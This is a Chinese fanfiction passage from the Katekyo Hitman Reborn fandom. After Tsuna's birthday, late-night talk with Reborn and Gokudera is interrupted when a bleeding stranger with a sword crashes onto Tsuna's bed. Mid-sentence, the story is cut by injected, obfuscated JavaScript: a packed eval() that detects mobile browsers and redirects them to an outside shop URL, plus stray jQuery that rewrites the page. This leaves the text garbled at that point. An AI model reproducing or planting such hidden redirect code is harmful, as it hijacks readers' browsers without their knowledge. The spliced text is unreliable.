2005.10.14,0:00。
被记不清内容的噩梦折磨醒,实在无法再度入睡的纲吉偷偷从被窝里爬起来,借着渗进窗帘的微弱的月光,努力挤着眼睛朝不远处的小吊床望了望。小婴儿外表的恶魔穿着睡衣睡帽,一动不动地躺在里面,鼻口还吹出了一个泡泡。纲吉勾着身子蹑手蹑脚地走到边上,然后慢慢探出头去看对方安稳的睡相——怎么想自己做噩梦的罪魁祸首都是这个一脸无辜的家伙。
“里包恩——?”纲吉轻声喊道。
又或许不是“睡相”吧。一起生活了这么多年,他又哪能不知道里包恩的装睡本领可是一流的。
“咻吡~咻吡吡吡~”
果不其然,回应他的是再熟悉不过的鼾声。里包恩这家伙——明明自说原本是帅气的大人,行为这么幼稚真的没问题?果然还是个孩子嘛。
“里包恩——醒醒啊……”讨好的语气,但鼾声依旧,只是小婴儿的脸上多了丝若有若无的笑容,“里包恩——!”纲吉满心抓住了对方尾巴的激动,靠近他的耳朵低吼道,“你果然醒着吧!”
理智?推理分析?那种东西都不存在,让他相信自己的只是陪伴多年的直觉而已。
而后那一丝跟没有似的笑意消失了,里包恩慢吞吞地坐起了身子,充满杀意的目光投向了那个锲而不舍叫他起床的蠢货。
纲吉浑身上下都抖了抖。
“嗯?打扰我睡觉,做好死掉的觉悟了吗?”
经过十几年的斯巴达摧残,纲吉早就习惯了对方的威胁:“真是,好好的吓我干什么啊!”
“是你先把我吵醒的,这是报应。”里包恩说得理直气壮。
“什么啊!”
“话说回来,明天还要上学,你还不睡吗?”
“啊……太兴奋了睡不着。”纲吉撇嘴,也没提噩梦的事。
“生日不是在昨天和我的一起过了吗?还激动什么?”
“玩得高兴过头了……”
“……真不愧是你。”里包恩叹了口气,跳下吊床,“我去找点水喝,一起?”
“啊,好啊。”纲吉欣然答应。死皮赖脸把装睡的里包恩扯起来,本来就是为了不用一个人躺在床上无所事事。
屋里静悄悄的。昨天闹到很晚,大家恐怕都在客房睡得正香。里包恩不知从哪弄出一杯咖啡,又递了纲吉一杯满满的牛奶。
“生日快乐,阿纲。”里包恩举杯碰了碰对面的杯子。
纲吉笑了笑:“谢谢,生日快乐。”
“这可不是正确的回答,过生日的可是你自己。”
“什么嘛,你昨天也才过完生日啊。”
“算了,这次就不和你争了。”说着,里包恩抿了一口咖啡,“顺便祝你长高,蠢纲。”
纲吉正咕噜噜把牛奶往肚子里灌,闻言差点把嘴里的东西喷到了对面人的脸上:“咳咳、咳……里包恩……!”小声抱怨着,纲吉抹了抹嘴,投去不满的目光,“这就是给我喝牛奶的原因?”
“谁知道呢。”里包恩小得意地勾了勾嘴角,他才不会提醒对方睡前一杯热牛奶还有助眠的作用。而纲吉只能此地无银三百两地在心里诅咒里包恩才是长不高的那一个。
这时候,楼梯处传来一阵脚步声,二人同时转过头去。
“啊,十代目……还有里包恩先生!”略带惊讶的声音响起,“晚上好!”狱寺鞠了一躬,随即不等他们回答万分激动地凑上前去,“十代目,再次……不,正式祝您生日快乐!”
“呃……谢谢!”尽管对狱寺过分在意自己的举动依旧很无措,纲吉还是说服自己努力接受,“狱寺君这么晚了还不睡吗?”
“我也问过你同样的问题呢。”里包恩插话道。
“是是……”纲吉应了两声敷衍过去。
“啊……那只蠢牛睡相实在太糟了,半夜爬到我脸上来实在没法继续睡下去……”狱寺提起这件事时满脸都是黑线。
五岁的蓝波,虽然自称厉害的杀手,不过是一只调皮捣蛋睡相糟糕的小牛罢了。纲吉无奈,冲对方笑了笑:“抱歉啊狱寺君,让你和他一起睡真是委屈你了……”
虽说上次合宿时,纲吉半夜被蓝波踹醒,偶然发现狱寺整个人横挂在熟睡的山本武身上,顿时发现了对方某个隐藏属性——还是不说为妙。
“左右手”之路道阻且长啊,狱寺君。
说起来,大一点的客房已经被锁了好几年——当年爸爸离开时居然连钥匙都不留把,自己总不能随便把门撬开——碧洋琪一个人占领了一直空着的大主卧,今晚顺带捎上了黛丝贝尔*;京子、黑川和一平睡其中一个小客房;剩下四个大男人和两个小男生只能在最后一间挤挤打地铺了。虽然小时候阿武经常到家里来玩,过夜的时候也一直睡在一起,不过生日会的客人太多,他本人声称不用区别对待。
纲吉想了想提议:“待会儿就让蓝波去我那边去睡吧?”
“那倒不用——”狱寺慌忙拒绝,“怎么可以麻烦十代目和里包恩先生呢!”
“可是……”
“我这边真的完全没有关系!”
“欸……”
“狱寺都这么说了,阿纲你就别管那么多了。”真是没营养的对话。里包恩这么想着,开口打断了他们。
“啊……”纲吉看了里包恩一眼,把到嘴边的话咽了下去。
可是大家都看得出来狱寺君明明很不喜欢蓝波那种调皮的小孩子的……不过这种话要说出来,狱寺君也不会开心吧,在我面前还总是这么要面子,还是不说好了。
“话说黑泽君*和风太还好吗?”
“风太睡得很安稳,黑泽的话,”狱寺顿了顿,回想了一下,“草坪头翻身的时候似乎把手打在了他的脸上……”
“欸?!大哥他?”
“……他都完全没有反应。”
狱寺把话说完,纲吉心累地叹了口气:这不就跟阿武一样的吗!
“不愧是黑泽,真是沉得住气。”里包恩开口,“相比之下,因为一个小孩子就不耐烦的狱寺……”
“呃!”狱寺噎了噎,不用对方继续说完就知道话里含义了,“我、我有什么办法!都是蠢牛……”
里包恩叹了口气:“你离完美的左右手还差的远呢。”
“什——?!”尽管里包恩用着半开玩笑的语气,狱寺还是被击倒在地。
“里包恩!”纲吉试图阻止里包恩,“说了这么久,狱寺君是下来干什么来着……?”
里包恩自然无所谓话题的转移,气定神闲地喝着咖啡。
“做了个梦,不过已经完全不记得了!只是现在清醒了所以下来坐坐而已。”狱寺顿了顿,“待会儿可能会完善一下G文字什么的,不过有些困难,语法构成还有些问题……”说着他已然托腮沉浸在了自己的世界里。
……G文字?语法构成?纲吉有些好奇,却也没有追问:“那我先上去了……稍微有些困了呢。”他拿起杯子把最后一点牛奶倒进了嘴巴,砸吧砸吧几下一脸满足。
“我也回去了。”里包恩也把空掉的杯子放在一边,跳上纲吉肩膀。
“嗯?”狱寺回过神来,“啊,好的!十代目、里包恩先生,晚安!我会负责把杯子收好的!”
“谢谢。晚安,狱寺君。”纲吉笑笑,转身上楼。
以前怎么没发现睡觉这么幸福呢——
纲吉窝了个舒服的姿势缩在被窝里,闭着眼睛想到。
周五过后就能休息了,今天的学校生活也会顺利的吧?现在还可以睡挺长时间,希望明天早上不会被云雀学长咬杀……
呼、好困……
“砰——”
欸,这个声音难道是蓝波的十年火箭筒……?可是蓝波的话不是在狱寺君他们房间吗……
纲吉迷茫地睁开了眼睛。漆黑一片,但隐约还能看出熟悉的布局。
这还是他的房间吧,不是他被打中了?
纲吉突然感觉到有什么东西——或许是一个人——重重地砸到了自己的身上,然后……
“唔唔——?!”
那个人就这样和纲吉头对头地砸了下来,半张的嘴直接磕了上去,猝不及防,纲吉被咬破了嘴唇,一不小心又自己咬到了舌头。
——痛!
作为“初吻”来说,这真是再糟糕不过的经历了。——说起来这其实根本不能算作一个吻吧,这么一想勉强能看开一些……。
下一秒,纲吉又察觉到有什么液体滴到了自己脸上,然后在空气中闻到了一丝淡淡的铁锈味……
咦……什么?
这是……这不是我的血吧……?
“……
“唔啊啊啊啊啊——?!!”
从纲吉他们离开到狱寺帮他们收拾好杯子、打开灯拿出小本子和笔也就几分钟不到的事,狱寺就听到了楼上传来的惨叫声。
“搞什么……”竟敢打扰十代目睡觉!
狱寺皱着眉嘀咕,不知是不是睡眠不足导致精神恍惚,竟然还没能反应过来。不一会儿,楼上睡觉的人又出来了几个,各自打着哈欠,巧遇之后窸窸窣窣向纲吉那边走去。
……
“十代目——?!”
狱寺咚咚咚地冲了上去,拨开看着他一脸茫然的黑泽,无视了棒球笨蛋依旧友好的问候,却在最后关头撞上了第三个人。
“隼人?”
“老、老姐……!”狱寺面露难堪,捂着肚子跪了下去。
The end of狱寺隼人。
碧洋琪关心地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531932|203720||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蹲下身扶住他:“啊呀,你怎么了吗?”
狱寺艰难地抬手指了指她身后的房门:“十……代目……”
“啊,我都忘了呢。”碧洋琪回头看了一眼,露出恍然的表情。
这种事就不要忘了啊!!
“啊,狱寺知道阿纲怎么了吗?”山本武笑着看向狱寺,似乎不知道他已经没了回答的力气。
似乎是唯一正常人的黑泽叹了口气,上前敲了两下房门。
“纲吉君,没事吧?”
“黑……黑泽君……!”
“给我冷静点,不要这么一副废柴的样子。”
门内隐约传出纲吉颤颤巍巍的声音和里包恩的说教,黑泽推开门打开了灯:“失礼……了?”
映入眼帘的是一个大致整洁的房间——和一张凌乱无比的床。床上沾着可怕的血迹,一把未出鞘的刀横躺在上面;一个陌生人以莫名奇妙的姿势倒在正对着床的墙根处,似乎受了重伤。纲吉抱着枕头缩在墙角,里包恩则在纲吉面前,举着枪——对着纲吉。
“现在的状况比我把枪对准你还要可怕吗?还想吃死气弹?嗯?”
“里包恩!!”纲吉抓狂,不要老是想着让他裸奔行不行啊!
几人愣了半晌,最终是黑泽慢吞吞地开了口:“纲吉君,你……
“杀人了?”
——“才不是!”
——“关你什么事!”
纲吉和狱寺同时说道。也因此纲吉终于注意到了明明奄奄一息却强撑着站在门口的狱寺,默默操心了一把姐弟俩的关系:“那个,狱寺君不舒服的话先回去休息吧……?”
“我,我并没有……”
“嘛,”不等狱寺把话说完,山本武重重地把双手拍在了他的肩上,“我会负责带狱寺回房间的,一会儿再过来!”
“混蛋,快放手!”狱寺不满地瞪了一眼那个棒球笨蛋,努力挣扎了一番,最终还是听了纲吉的话妥协。
“阿武,你也去睡吧,”里包恩指示,“黑泽留下就行了。”
山本武愣了愣,还是如往常顺了小鬼的意思。黑泽则是暗想着女生们睡得真死,走到纲吉旁边坐了下来。
里包恩难得对优秀的初中生泽田纲吉露出了专属小婴儿的嫌弃眼神。
“冷静下来了吗?”
“……谢谢。”纲吉首先不知是对对方帮助自己平复情绪、还是支开山本武的行为表示了感谢,接着往墙根处看了一眼——里包恩已经给夏马尔打过了电话,碧洋琪正在给那个满身血污半死不活的人检查包扎,“那个人……”
“说不定是来杀你的……话虽这么说,”里包恩顿了顿,“也不排除其他可能性。”
“……一定不是的吧。”纲吉看上去放松了些,无奈地笑了笑,“杀了我之前,先把自己搞成那样的杀手吗?”
那姑且算作不是吧,里包恩心想。毕竟超直感一向挺可靠。
“看上去和我们差不多大吧。”一旁的黑泽好奇道。
“说不定比你们大一些。”里包恩随口猜测,“感觉上是高中生的气息。”
气息……纲吉努力尝试感受对方的气息,毫无悬念以失败告终。
“是吗?”黑泽也好奇地尝试着感受了一番,同样失败,“对了纲吉君,那把刀你准备怎么处理?”
“那个啊。”纲吉思考了一会儿,犹豫地看向里包恩,“毕竟不是我们的,还是等他醒来交还给他比较好吧……”
“真是天真。”碧洋琪接口,“对来路不明的人有所防备,这点简单的道理都不懂?” 口中说着不屑的话,手上包扎的动作却也没有停下。
纲吉在脑内疯狂搜寻着可说的话,未果,对话被迫终结。大概一两秒的安静,里包恩打破了这场短暂的尴尬。
“我明白了,我不会去管那把刀的。”尽管来者身份未知,里包恩少见地在这个方面和对方达成了一致,他看向纲吉,“说起来那家伙和你还挺像的。”
“哈?”纲吉奇怪,“怎么这么说?”不过被对方这么一说,他也开始隐隐觉得自己与那个男生有着什么联系了。
“感觉。”里包恩不明不白丢了纲吉一句,不过他自己也明白,只有彭格列血脉的“直觉”才有百分百的可信度,“嘛,发色是黑色,发型也没有阿纲你这么炸毛……”
“喂!”
“脸倒是有五分相似吧。”
以及气息。
里包恩在他身上捕捉到了和纲吉一样的某种气息,至于那气息是什么,他还不得而知。不过就凭这点,就凭这点他决定救下这个孩子。
直到很久很久以后,里包恩才知道,当年这个凭感觉做出的决定,竟然与他一贯的作风在某种程度上达成了一致。
“为了彭格列”。